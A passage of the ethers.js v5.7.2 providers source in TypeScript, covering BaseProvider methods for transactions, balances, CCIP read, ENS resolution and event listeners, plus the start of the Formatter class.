}\n\n while (scannedBlock <= blockNumber) {\n if (done) { return; }\n\n const block = await this.getBlockWithTransactions(scannedBlock);\n for (let ti = 0; ti < block.transactions.length; ti++) {\n const tx = block.transactions[ti];\n\n // Successfully mined!\n if (tx.hash === transactionHash) { return; }\n\n // Matches our transaction from and nonce; its a replacement\n if (tx.from === replaceable.from && tx.nonce === replaceable.nonce) {\n if (done) { return; }\n\n // Get the receipt of the replacement\n const receipt = await this.waitForTransaction(tx.hash, confirmations);\n\n // Already resolved or rejected (prolly a timeout)\n if (alreadyDone()) { return; }\n\n // The reason we were replaced\n let reason = \"replaced\";\n if (tx.data === replaceable.data && tx.to === replaceable.to && tx.value.eq(replaceable.value)) {\n reason = \"repriced\";\n } else if (tx.data === \"0x\" && tx.from === tx.to && tx.value.isZero()) {\n reason = \"cancelled\"\n }\n\n // Explain why we were replaced\n reject(logger.makeError(\"transaction was replaced\", Logger.errors.TRANSACTION_REPLACED, {\n cancelled: (reason === \"replaced\" || reason === \"cancelled\"),\n reason,\n replacement: this._wrapTransaction(tx),\n hash: transactionHash,\n receipt\n }));\n\n return;\n }\n }\n scannedBlock++;\n }\n }\n\n if (done) { return; }\n this.once(\"block\", replaceHandler);\n\n }, (error) => {\n if (done) { return; }\n this.once(\"block\", replaceHandler);\n });\n };\n\n if (done) { return; }\n this.once(\"block\", replaceHandler);\n\n cancelFuncs.push(() => {\n this.removeListener(\"block\", replaceHandler);\n });\n }\n\n if (typeof(timeout) === \"number\" && timeout > 0) {\n const timer = setTimeout(() => {\n if (alreadyDone()) { return; }\n reject(logger.makeError(\"timeout exceeded\", Logger.errors.TIMEOUT, { timeout: timeout }));\n }, timeout);\n if (timer.unref) { timer.unref(); }\n\n cancelFuncs.push(() => { clearTimeout(timer); });\n }\n });\n }\n\n async getBlockNumber(): Promise {\n return this._getInternalBlockNumber(0);\n }\n\n async getGasPrice(): Promise {\n await this.getNetwork();\n\n const result = await this.perform(\"getGasPrice\", { });\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getGasPrice\",\n result, error\n });\n }\n }\n\n async getBalance(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise {\n await this.getNetwork();\n const params = await resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n\n const result = await this.perform(\"getBalance\", params);\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getBalance\",\n params, result, error\n });\n }\n }\n\n async getTransactionCount(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise {\n await this.getNetwork();\n const params = await resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n\n const result = await this.perform(\"getTransactionCount\", params);\n try {\n return BigNumber.from(result).toNumber();\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getTransactionCount\",\n params, result, error\n });\n }\n }\n\n async getCode(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise {\n await this.getNetwork();\n const params = await resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag)\n });\n\n const result = await this.perform(\"getCode\", params);\n try {\n return hexlify(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getCode\",\n params, result, error\n });\n }\n }\n\n async getStorageAt(addressOrName: string | Promise, position: BigNumberish | Promise, blockTag?: BlockTag | Promise): Promise {\n await this.getNetwork();\n const params = await resolveProperties({\n address: this._getAddress(addressOrName),\n blockTag: this._getBlockTag(blockTag),\n position: Promise.resolve(position).then((p) => hexValue(p))\n });\n const result = await this.perform(\"getStorageAt\", params);\n try {\n return hexlify(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"getStorageAt\",\n params, result, error\n });\n }\n }\n\n // This should be called by any subclass wrapping a TransactionResponse\n _wrapTransaction(tx: Transaction, hash?: string, startBlock?: number): TransactionResponse {\n if (hash != null && hexDataLength(hash) !== 32) { throw new Error(\"invalid response - sendTransaction\"); }\n\n const result = tx;\n\n // Check the hash we expect is the same as the hash the server reported\n if (hash != null && tx.hash !== hash) {\n logger.throwError(\"Transaction hash mismatch from Provider.sendTransaction.\", Logger.errors.UNKNOWN_ERROR, { expectedHash: tx.hash, returnedHash: hash });\n }\n\n result.wait = async (confirms?: number, timeout?: number) => {\n if (confirms == null) { confirms = 1; }\n if (timeout == null) { timeout = 0; }\n\n // Get the details to detect replacement\n let replacement = undefined;\n if (confirms !== 0 && startBlock != null) {\n replacement = {\n data: tx.data,\n from: tx.from,\n nonce: tx.nonce,\n to: tx.to,\n value: tx.value,\n startBlock\n };\n }\n\n const receipt = await this._waitForTransaction(tx.hash, confirms, timeout, replacement);\n if (receipt == null && confirms === 0) { return null; }\n\n // No longer pending, allow the polling loop to garbage collect this\n this._emitted[\"t:\" + tx.hash] = receipt.blockNumber;\n\n if (receipt.status === 0) {\n logger.throwError(\"transaction failed\", Logger.errors.CALL_EXCEPTION, {\n transactionHash: tx.hash,\n transaction: tx,\n receipt: receipt\n });\n }\n return receipt;\n };\n\n return result;\n }\n\n async sendTransaction(signedTransaction: string | Promise): Promise {\n await this.getNetwork();\n const hexTx = await Promise.resolve(signedTransaction).then(t => hexlify(t));\n const tx = this.formatter.transaction(signedTransaction);\n if (tx.confirmations == null) { tx.confirmations = 0; }\n const blockNumber = await this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n try {\n const hash = await this.perform(\"sendTransaction\", { signedTransaction: hexTx });\n return this._wrapTransaction(tx, hash, blockNumber);\n } catch (error) {\n (error).transaction = tx;\n (error).transactionHash = tx.hash;\n throw error;\n }\n }\n\n async _getTransactionRequest(transaction: Deferrable): Promise {\n const values: any = await transaction;\n\n const tx: any = { };\n\n [\"from\", \"to\"].forEach((key) => {\n if (values[key] == null) { return; }\n tx[key] = Promise.resolve(values[key]).then((v) => (v ? this._getAddress(v): null))\n });\n\n [\"gasLimit\", \"gasPrice\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"value\"].forEach((key) => {\n if (values[key] == null) { return; }\n tx[key] = Promise.resolve(values[key]).then((v) => (v ? BigNumber.from(v): null));\n });\n\n [\"type\"].forEach((key) => {\n if (values[key] == null) { return; }\n tx[key] = Promise.resolve(values[key]).then((v) => ((v != null) ? v: null));\n });\n\n if (values.accessList) {\n tx.accessList = this.formatter.accessList(values.accessList);\n }\n\n [\"data\"].forEach((key) => {\n if (values[key] == null) { return; }\n tx[key] = Promise.resolve(values[key]).then((v) => (v ? hexlify(v): null));\n });\n\n return this.formatter.transactionRequest(await resolveProperties(tx));\n }\n\n async _getFilter(filter: Filter | FilterByBlockHash | Promise): Promise {\n filter = await filter;\n\n const result: any = { };\n\n if (filter.address != null) {\n result.address = this._getAddress(filter.address);\n }\n\n [\"blockHash\", \"topics\"].forEach((key) => {\n if ((filter)[key] == null) { return; }\n result[key] = (filter)[key];\n });\n\n [\"fromBlock\", \"toBlock\"].forEach((key) => {\n if ((filter)[key] == null) { return; }\n result[key] = this._getBlockTag((filter)[key]);\n });\n\n return this.formatter.filter(await resolveProperties(result));\n }\n\n async _call(transaction: TransactionRequest, blockTag: BlockTag, attempt: number): Promise {\n if (attempt >= MAX_CCIP_REDIRECTS) {\n logger.throwError(\"CCIP read exceeded maximum redirections\", Logger.errors.SERVER_ERROR, {\n redirects: attempt, transaction\n });\n }\n\n const txSender = transaction.to;\n\n const result = await this.perform(\"call\", { transaction, blockTag });\n\n // CCIP Read request via OffchainLookup(address,string[],bytes,bytes4,bytes)\n if (attempt >= 0 && blockTag === \"latest\" && txSender != null && result.substring(0, 10) === \"0x556f1830\" && (hexDataLength(result) % 32 === 4)) {\n try {\n const data = hexDataSlice(result, 4);\n\n // Check the sender of the OffchainLookup matches the transaction\n const sender = hexDataSlice(data, 0, 32);\n if (!BigNumber.from(sender).eq(txSender)) {\n logger.throwError(\"CCIP Read sender did not match\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction, data: result\n });\n }\n\n // Read the URLs from the response\n const urls: Array = [];\n const urlsOffset = BigNumber.from(hexDataSlice(data, 32, 64)).toNumber();\n const urlsLength = BigNumber.from(hexDataSlice(data, urlsOffset, urlsOffset + 32)).toNumber();\n const urlsData = hexDataSlice(data, urlsOffset + 32);\n for (let u = 0; u < urlsLength; u++) {\n const url = _parseString(urlsData, u * 32);\n if (url == null) {\n logger.throwError(\"CCIP Read contained corrupt URL string\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction, data: result\n });\n }\n urls.push(url);\n }\n\n // Get the CCIP calldata to forward\n const calldata = _parseBytes(data, 64);\n\n // Get the callbackSelector (bytes4)\n if (!BigNumber.from(hexDataSlice(data, 100, 128)).isZero()) {\n logger.throwError(\"CCIP Read callback selector included junk\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction, data: result\n });\n }\n const callbackSelector = hexDataSlice(data, 96, 100);\n\n // Get the extra data to send back to the contract as context\n const extraData = _parseBytes(data, 128);\n\n const ccipResult = await this.ccipReadFetch(transaction, calldata, urls);\n if (ccipResult == null) {\n logger.throwError(\"CCIP Read disabled or provided no URLs\", Logger.errors.CALL_EXCEPTION, {\n name: \"OffchainLookup\",\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n transaction, data: result\n });\n }\n\n const tx = {\n to: txSender,\n data: hexConcat([ callbackSelector, encodeBytes([ ccipResult, extraData ]) ])\n };\n\n return this._call(tx, blockTag, attempt + 1);\n\n } catch (error) {\n if (error.code === Logger.errors.SERVER_ERROR) { throw error; }\n }\n }\n\n try {\n return hexlify(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"call\",\n params: { transaction, blockTag }, result, error\n });\n }\n\n }\n\n async call(transaction: Deferrable, blockTag?: BlockTag | Promise): Promise {\n await this.getNetwork();\n const resolved = await resolveProperties({\n transaction: this._getTransactionRequest(transaction),\n blockTag: this._getBlockTag(blockTag),\n ccipReadEnabled: Promise.resolve(transaction.ccipReadEnabled)\n });\n return this._call(resolved.transaction, resolved.blockTag, resolved.ccipReadEnabled ? 0: -1);\n }\n\n async estimateGas(transaction: Deferrable): Promise {\n await this.getNetwork();\n const params = await resolveProperties({\n transaction: this._getTransactionRequest(transaction)\n });\n\n const result = await this.perform(\"estimateGas\", params);\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"estimateGas\",\n params, result, error\n });\n }\n }\n\n async _getAddress(addressOrName: string | Promise): Promise {\n addressOrName = await addressOrName;\n if (typeof(addressOrName) !== \"string\") {\n logger.throwArgumentError(\"invalid address or ENS name\", \"name\", addressOrName);\n }\n\n const address = await this.resolveName(addressOrName);\n if (address == null) {\n logger.throwError(\"ENS name not configured\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `resolveName(${ JSON.stringify(addressOrName) })`\n });\n }\n return address;\n }\n\n async _getBlock(blockHashOrBlockTag: BlockTag | string | Promise, includeTransactions?: boolean): Promise {\n await this.getNetwork();\n\n blockHashOrBlockTag = await blockHashOrBlockTag;\n\n // If blockTag is a number (not \"latest\", etc), this is the block number\n let blockNumber = -128;\n\n const params: { [key: string]: any } = {\n includeTransactions: !!includeTransactions\n };\n\n if (isHexString(blockHashOrBlockTag, 32)) {\n params.blockHash = blockHashOrBlockTag;\n } else {\n try {\n params.blockTag = await this._getBlockTag(blockHashOrBlockTag);\n if (isHexString(params.blockTag)) {\n blockNumber = parseInt(params.blockTag.substring(2), 16);\n }\n } catch (error) {\n logger.throwArgumentError(\"invalid block hash or block tag\", \"blockHashOrBlockTag\", blockHashOrBlockTag);\n }\n }\n\n return poll(async () => {\n const block = await this.perform(\"getBlock\", params);\n\n // Block was not found\n if (block == null) {\n\n // For blockhashes, if we didn't say it existed, that blockhash may\n // not exist. If we did see it though, perhaps from a log, we know\n // it exists, and this node is just not caught up yet.\n if (params.blockHash != null) {\n if (this._emitted[\"b:\" + params.blockHash] == null) { return null; }\n }\n\n // For block tags, if we are asking for a future block, we return null\n if (params.blockTag != null) {\n if (blockNumber > this._emitted.block) { return null; }\n }\n\n // Retry on the next block\n return undefined;\n }\n\n // Add transactions\n if (includeTransactions) {\n let blockNumber: number = null;\n for (let i = 0; i < block.transactions.length; i++) {\n const tx = block.transactions[i];\n if (tx.blockNumber == null) {\n tx.confirmations = 0;\n\n } else if (tx.confirmations == null) {\n if (blockNumber == null) {\n blockNumber = await this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n }\n\n // Add the confirmations using the fast block number (pessimistic)\n let confirmations = (blockNumber - tx.blockNumber) + 1;\n if (confirmations <= 0) { confirmations = 1; }\n tx.confirmations = confirmations;\n }\n }\n\n const blockWithTxs: any = this.formatter.blockWithTransactions(block);\n blockWithTxs.transactions = blockWithTxs.transactions.map((tx: TransactionResponse) => this._wrapTransaction(tx));\n return blockWithTxs;\n }\n\n return this.formatter.block(block);\n\n }, { oncePoll: this });\n }\n\n getBlock(blockHashOrBlockTag: BlockTag | string | Promise): Promise {\n return >(this._getBlock(blockHashOrBlockTag, false));\n }\n\n getBlockWithTransactions(blockHashOrBlockTag: BlockTag | string | Promise): Promise {\n return >(this._getBlock(blockHashOrBlockTag, true));\n }\n\n async getTransaction(transactionHash: string | Promise): Promise {\n await this.getNetwork();\n transactionHash = await transactionHash;\n\n const params = { transactionHash: this.formatter.hash(transactionHash, true) };\n\n return poll(async () => {\n const result = await this.perform(\"getTransaction\", params);\n\n if (result == null) {\n if (this._emitted[\"t:\" + transactionHash] == null) {\n return null;\n }\n return undefined;\n }\n\n const tx = this.formatter.transactionResponse(result);\n\n if (tx.blockNumber == null) {\n tx.confirmations = 0;\n\n } else if (tx.confirmations == null) {\n const blockNumber = await this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n\n // Add the confirmations using the fast block number (pessimistic)\n let confirmations = (blockNumber - tx.blockNumber) + 1;\n if (confirmations <= 0) { confirmations = 1; }\n tx.confirmations = confirmations;\n }\n\n return this._wrapTransaction(tx);\n }, { oncePoll: this });\n }\n\n async getTransactionReceipt(transactionHash: string | Promise): Promise {\n await this.getNetwork();\n\n transactionHash = await transactionHash;\n\n const params = { transactionHash: this.formatter.hash(transactionHash, true) };\n\n return poll(async () => {\n const result = await this.perform(\"getTransactionReceipt\", params);\n\n if (result == null) {\n if (this._emitted[\"t:\" + transactionHash] == null) {\n return null;\n }\n return undefined;\n }\n\n // \"geth-etc\" returns receipts before they are ready\n if (result.blockHash == null) { return undefined; }\n\n const receipt = this.formatter.receipt(result);\n\n if (receipt.blockNumber == null) {\n receipt.confirmations = 0;\n\n } else if (receipt.confirmations == null) {\n const blockNumber = await this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n\n // Add the confirmations using the fast block number (pessimistic)\n let confirmations = (blockNumber - receipt.blockNumber) + 1;\n if (confirmations <= 0) { confirmations = 1; }\n receipt.confirmations = confirmations;\n }\n\n return receipt;\n }, { oncePoll: this });\n }\n\n async getLogs(filter: Filter | FilterByBlockHash | Promise): Promise> {\n await this.getNetwork();\n const params = await resolveProperties({ filter: this._getFilter(filter) });\n const logs: Array = await this.perform(\"getLogs\", params);\n logs.forEach((log) => {\n if (log.removed == null) { log.removed = false; }\n });\n return Formatter.arrayOf(this.formatter.filterLog.bind(this.formatter))(logs);\n }\n\n async getEtherPrice(): Promise {\n await this.getNetwork();\n return this.perform(\"getEtherPrice\", { });\n }\n\n async _getBlockTag(blockTag: BlockTag | Promise): Promise {\n blockTag = await blockTag;\n\n if (typeof(blockTag) === \"number\" && blockTag < 0) {\n if (blockTag % 1) {\n logger.throwArgumentError(\"invalid BlockTag\", \"blockTag\", blockTag);\n }\n\n let blockNumber = await this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n blockNumber += blockTag;\n if (blockNumber < 0) { blockNumber = 0; }\n return this.formatter.blockTag(blockNumber)\n }\n\n return this.formatter.blockTag(blockTag);\n }\n\n\n async getResolver(name: string): Promise {\n let currentName = name;\n while (true) {\n if (currentName === \"\" || currentName === \".\") { return null; }\n\n // Optimization since the eth node cannot change and does\n // not have a wildcard resolver\n if (name !== \"eth\" && currentName === \"eth\") { return null; }\n\n // Check the current node for a resolver\n const addr = await this._getResolver(currentName, \"getResolver\");\n\n // Found a resolver!\n if (addr != null) {\n const resolver = new Resolver(this, addr, name);\n\n // Legacy resolver found, using EIP-2544 so it isn't safe to use\n if (currentName !== name && !(await resolver.supportsWildcard())) { return null; }\n\n return resolver;\n }\n\n // Get the parent node\n currentName = currentName.split(\".\").slice(1).join(\".\");\n }\n\n }\n\n async _getResolver(name: string, operation?: string): Promise {\n if (operation == null) { operation = \"ENS\"; }\n\n const network = await this.getNetwork();\n\n // No ENS...\n if (!network.ensAddress) {\n logger.throwError(\n \"network does not support ENS\",\n Logger.errors.UNSUPPORTED_OPERATION,\n { operation, network: network.name }\n );\n }\n\n try {\n // keccak256(\"resolver(bytes32)\")\n const addrData = await this.call({\n to: network.ensAddress,\n data: (\"0x0178b8bf\" + namehash(name).substring(2))\n });\n return this.formatter.callAddress(addrData);\n } catch (error) {\n // ENS registry cannot throw errors on resolver(bytes32)\n }\n\n return null;\n }\n\n async resolveName(name: string | Promise): Promise {\n name = await name;\n\n // If it is already an address, nothing to resolve\n try {\n return Promise.resolve(this.formatter.address(name));\n } catch (error) {\n // If is is a hexstring, the address is bad (See #694)\n if (isHexString(name)) { throw error; }\n }\n\n if (typeof(name) !== \"string\") {\n logger.throwArgumentError(\"invalid ENS name\", \"name\", name);\n }\n\n // Get the addr from the resolver\n const resolver = await this.getResolver(name);\n if (!resolver) { return null; }\n\n return await resolver.getAddress();\n }\n\n async lookupAddress(address: string | Promise): Promise {\n address = await address;\n address = this.formatter.address(address);\n\n const node = address.substring(2).toLowerCase() + \".addr.reverse\";\n\n const resolverAddr = await this._getResolver(node, \"lookupAddress\");\n if (resolverAddr == null) { return null; }\n\n // keccak(\"name(bytes32)\")\n const name = _parseString(await this.call({\n to: resolverAddr,\n data: (\"0x691f3431\" + namehash(node).substring(2))\n }), 0);\n\n const addr = await this.resolveName(name);\n if (addr != address) { return null; }\n\n return name;\n }\n\n async getAvatar(nameOrAddress: string): Promise {\n let resolver: Resolver = null;\n if (isHexString(nameOrAddress)) {\n // Address; reverse lookup\n const address = this.formatter.address(nameOrAddress);\n\n const node = address.substring(2).toLowerCase() + \".addr.reverse\";\n\n const resolverAddress = await this._getResolver(node, \"getAvatar\");\n if (!resolverAddress) { return null; }\n\n // Try resolving the avatar against the addr.reverse resolver\n resolver = new Resolver(this, resolverAddress, node);\n try {\n const avatar = await resolver.getAvatar();\n if (avatar) { return avatar.url; }\n } catch (error) {\n if (error.code !== Logger.errors.CALL_EXCEPTION) { throw error; }\n }\n\n // Try getting the name and performing forward lookup; allowing wildcards\n try {\n // keccak(\"name(bytes32)\")\n const name = _parseString(await this.call({\n to: resolverAddress,\n data: (\"0x691f3431\" + namehash(node).substring(2))\n }), 0);\n resolver = await this.getResolver(name);\n } catch (error) {\n if (error.code !== Logger.errors.CALL_EXCEPTION) { throw error; }\n return null;\n }\n\n } else {\n // ENS name; forward lookup with wildcard\n resolver = await this.getResolver(nameOrAddress);\n if (!resolver) { return null; }\n }\n\n const avatar = await resolver.getAvatar();\n if (avatar == null) { return null; }\n\n return avatar.url;\n }\n\n perform(method: string, params: any): Promise {\n return logger.throwError(method + \" not implemented\", Logger.errors.NOT_IMPLEMENTED, { operation: method });\n }\n\n _startEvent(event: Event): void {\n this.polling = (this._events.filter((e) => e.pollable()).length > 0);\n }\n\n _stopEvent(event: Event): void {\n this.polling = (this._events.filter((e) => e.pollable()).length > 0);\n }\n\n _addEventListener(eventName: EventType, listener: Listener, once: boolean): this {\n const event = new Event(getEventTag(eventName), listener, once)\n this._events.push(event);\n this._startEvent(event);\n\n return this;\n }\n\n on(eventName: EventType, listener: Listener): this {\n return this._addEventListener(eventName, listener, false);\n }\n\n once(eventName: EventType, listener: Listener): this {\n return this._addEventListener(eventName, listener, true);\n }\n\n\n emit(eventName: EventType, ...args: Array): boolean {\n let result = false;\n\n let stopped: Array = [ ];\n\n let eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag) { return true; }\n\n setTimeout(() => {\n event.listener.apply(this, args);\n }, 0);\n\n result = true;\n\n if (event.once) {\n stopped.push(event);\n return false;\n }\n\n return true;\n });\n\n stopped.forEach((event) => { this._stopEvent(event); });\n\n return result;\n }\n\n listenerCount(eventName?: EventType): number {\n if (!eventName) { return this._events.length; }\n\n let eventTag = getEventTag(eventName);\n return this._events.filter((event) => {\n return (event.tag === eventTag);\n }).length;\n }\n\n listeners(eventName?: EventType): Array {\n if (eventName == null) {\n return this._events.map((event) => event.listener);\n }\n\n let eventTag = getEventTag(eventName);\n return this._events\n .filter((event) => (event.tag === eventTag))\n .map((event) => event.listener);\n }\n\n off(eventName: EventType, listener?: Listener): this {\n if (listener == null) {\n return this.removeAllListeners(eventName);\n }\n\n const stopped: Array = [ ];\n\n let found = false;\n\n let eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag || event.listener != listener) { return true; }\n if (found) { return true; }\n found = true;\n stopped.push(event);\n return false;\n });\n\n stopped.forEach((event) => { this._stopEvent(event); });\n\n return this;\n }\n\n removeAllListeners(eventName?: EventType): this {\n let stopped: Array = [ ];\n if (eventName == null) {\n stopped = this._events;\n\n this._events = [ ];\n } else {\n const eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag) { return true; }\n stopped.push(event);\n return false;\n });\n }\n\n stopped.forEach((event) => { this._stopEvent(event); });\n\n return this;\n }\n}\n", "export const version = \"providers/5.7.2\";\n", "\"use strict\";\n\nimport { Block, TransactionReceipt, TransactionResponse } from \"@ethersproject/abstract-provider\";\nimport { getAddress, getContractAddress } from \"@ethersproject/address\";\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { hexDataLength, hexDataSlice, hexValue, hexZeroPad, isHexString } from \"@ethersproject/bytes\";\nimport { AddressZero } from \"@ethersproject/constants\";\nimport { shallowCopy } from \"@ethersproject/properties\";\nimport { AccessList, accessListify, parse as parseTransaction } from \"@ethersproject/transactions\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport type FormatFunc = (value: any) => any;\n\nexport type FormatFuncs = { [ key: string ]: FormatFunc };\n\nexport type Formats = {\n transaction: FormatFuncs,\n transactionRequest: FormatFuncs,\n receipt: FormatFuncs,\n receiptLog: FormatFuncs,\n block: FormatFuncs,\n blockWithTransactions: FormatFuncs,\n filter: FormatFuncs,\n filterLog: FormatFuncs,\n};\n\nexport class Formatter {\n readonly formats: Formats;\n\n constructor() {\n this.formats = this.getDefaultFormats();\n }\n\n getDefaultFormats(): Formats {\n const formats: Formats = ({ });\n\n const address = this.address.bind(this);\n const bigNumber = this.bigNumber.bind(this);\n const blockTag = this.blockTag.bind(this);\n const data = this.data.bind(this);\n const hash = this.hash.bind(this);\n const hex = this.hex.bind(this);\n const number = this.number.bind(this);\n const type = this.type.bind(this);\n\n const strictData = (v: any) => { return this.data(v, true); };\n\n formats.transaction = {\n hash: hash,\n\n type: type,\n accessList: Formatter.allowNull(this.accessList.bind(this), null),\n\n blockHash: Formatter.allowNull(hash, null),\n blockNumber: Formatter.allowNull(number, null),\n transactionIndex: Formatter.allowNull(number, null),\n\n confirmations: Formatter.allowNull(number, null),\n\n from: address,\n\n // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas)\n // must be set\n gasPrice: Formatter.allowNull(bigNumber),\n maxPriorityFeePerGas: Formatter.allowNull(bigNumber),\n maxFeePerGas: Formatter.allowNull(bigNumber),\n\n gasLimit: bigNumber,\n to: Formatter.allowNull(address, null),\n value: bigNumber,\n nonce: number,\n data: data,\n\n r: Formatter.allowNull(this.uint256),\n s: Formatter.allowNull(this.uint256),\n v: Formatter.allowNull(number),\n\n creates: Formatter.allowNull(address, null),\n\n raw: Formatter.allowNull(data),\n };\n\n formats.transactionRequest = {\n from: Formatter.allowNull(address),\n nonce: Formatter.allowNull(number),\n gasLimit: Formatter.allowNull(bigNumber),\n gasPrice: Formatter.allowNull(bigNumber),\n maxPriorityFeePerGas: Formatter.allowNull(bigNumber),\n maxFeePerGas: Formatter.allowNull(bigNumber),\n to: Formatter.allowNull(address),\n value: Formatter.allowNull(bigNumber),\n data: Formatter.allowNull(strictData),\n type: Formatter.allowNull(number),\n accessList: Formatter.allowNull(this.accessList.bind(this), null),\n };\n\n formats.receiptLog = {\n transactionIndex: number,\n blockNumber: number,\n transactionHash: hash,\n address: address,\n topics: Formatter.arrayOf(hash),\n data: data,\n logIndex: number,\n blockHash: hash,\n };\n\n formats.receipt = {\n to: Formatter.allowNull(this.address, null),\n from: Formatter.allowNull(this.address, null),\n contractAddress: Formatter.allowNull(address, null),\n transactionIndex: number,\n // should be allowNull(hash), but broken-EIP-658 support is handled in receipt\n root: Formatter.allowNull(hex),\n gasUsed: bigNumber,\n logsBloom: Formatter.allowNull(data),// @TODO: should this be data?\n blockHash: hash,\n transactionHash: hash,\n logs: Formatter.arrayOf(this.receiptLog.bind(this)),\n blockNumber: number,\n confirmations: Formatter.allowNull(number, null),\n cumulativeGasUsed: bigNumber,\n effectiveGasPrice: Formatter.allowNull(bigNumber),\n status: Formatter.allowNull(number),\n type: type\n };\n\n formats.block = {\n hash: Formatter.allowNull(hash),\n parentHash: hash,\n number: number,\n\n timestamp: number,\n nonce: Formatter.allowNull(hex),\n difficulty: this.difficulty.bind(this),\n\n gasLimit: bigNumber,\n gasUsed: bigNumber,\n\n miner: Formatter.allowNull(address),\n extraData: data,\n\n transactions: Formatter.allowNull(Formatter.arrayOf(hash)),\n\n baseFeePerGas: Formatter.allowNull(bigNumber)\n };\n\n formats.blockWithTransactions = shallowCopy(formats.block);\n formats.blockWithTransactions.transactions = Formatter.allowNull(Formatter.arrayOf(this.transactionResponse.bind(this)));\n\n formats.filter = {\n fromBlock: Formatter.allowNull(blockTag, undefined),\n toBlock: Formatter.allowNull(blockTag, undefined),\n blockHash: Formatter.allowNull(hash, undefined),\n address: Formatter.allowNull(address, undefined),\n topics: Formatter.allowNull(this.topics.bind(this), undefined),\n };\n\n formats.filterLog = {\n blockNumber: Formatter.allowNull(number),\n blockHash: Formatter.allowNull(hash),\n transactionIndex: number,\n\n removed: Formatter.allowNull(this.boolean.bind(this)),\n\n address: address,\n data: Formatter.allowFalsish(data, \"0x\"),\n\n topics: Formatter.arrayOf(hash),\n\n transactionHash: hash,\n logIndex: number,\n };\n\n return formats;\n }\n\n accessList(accessList: Array): AccessList {\n return accessListify(accessList || []);\n }\n\n // Requires a BigNumberish that is within the IEEE754 safe integer range; returns a number\n // Strict! Used on input.\n number(number: any): number {\n if (number === \"0x\") { return 0; }\n return BigNumber.from(number).toNumber();\n }\n\n type(number: any): number {\n if (number === \"0x\" || number == null) { return 0; }\n return BigNumber.from(number).toNumber();\n }\n\n // Strict! Used on input.\n bigNumber(value: any): BigNumber {\n return BigNumber.from(value);\n }\n\n // Requires a boolean, \"true\" or \"false\"; returns a boolean\n boolean(value: any): boolean {\n if (typeof(value) === \"boolean\") { return value; }\n if (typeof(value) === \"string\") {\n value = value.toLowerCase();\n if (value === \"true\") { return true; }\n if (value === \"false\") { return false; }\n }\n throw new Error(\"invalid boolean - \" + value);\n }\n\n hex(value: any, strict?: boolean): string {\n if (typeof(value) === \"string\") {\n if (!strict && value.substring(0, 2) !== \"0x\") { value = \"0x\" + value; }\n if (isHexString(value)) {\n return value.toLowerCase();\n }\n }\n return logger.throwArgumentError(\"invalid hash\", \"value\", value);\n }\n\n data(value: any, strict?: boolean): string {\n const result = this.hex(value, strict);\n if ((result.length % 2) !== 0) {\n throw new Error(\"invalid data; odd-length - \" + value);\n }\n return result;\n }\n\n // Requires an address\n // Strict! Used on input.\n address(value: any): string {\n return getAddress(value);\n }\n\n callAddress(value: any): string {\n if (!isHexString(value, 32)) { return null; }\n const address = getAddress(hexDataSlice(value, 12));\n return (address === AddressZero) ? null: address;\n }\n\n contractAddress(value: any): string {\n return getContractAddress(value);\n }\n\n // Strict! Used on input.\n blockTag(blockTag: any): string {\n if (blockTag == null) { return \"latest\"; }\n\n if (blockTag === \"earliest\") { return \"0x0\"; }\n\n switch (blockTag) {\n case \"earliest\": return \"0x0\";\n case \"latest\": case \"pending\": case \"safe\": case \"finalized\":\n return blockTag;\n }\n\n if (typeof(blockTag) === \"number\" || isHexString(blockTag)) {\n return hexValue(blockTag);\n }\n\n throw new Error(\"invalid blockTag\");\n }\n\n // Requires a hash, optionally requires 0x prefix; returns prefixed lowercase hash.\n hash(value: any, strict?: boolean): string {\n const result = this.hex(value, strict);\n if (hexDataLength(result) !== 32) {\n return logger.throwArgumentError(\"invalid hash\", \"value\", value);\n }\n return result;\n }\n\n // Returns the difficulty as a number, or if too large (i.e. PoA network) null\n difficulty(value: any): number {\n if (value == null) { return null; }\n\n const v = BigNumber.from(value);\n\n try {\n return v.toNumber();\n } catch (error) { }\n\n return null;\n }\n\n uint256(value: any): string {\n if 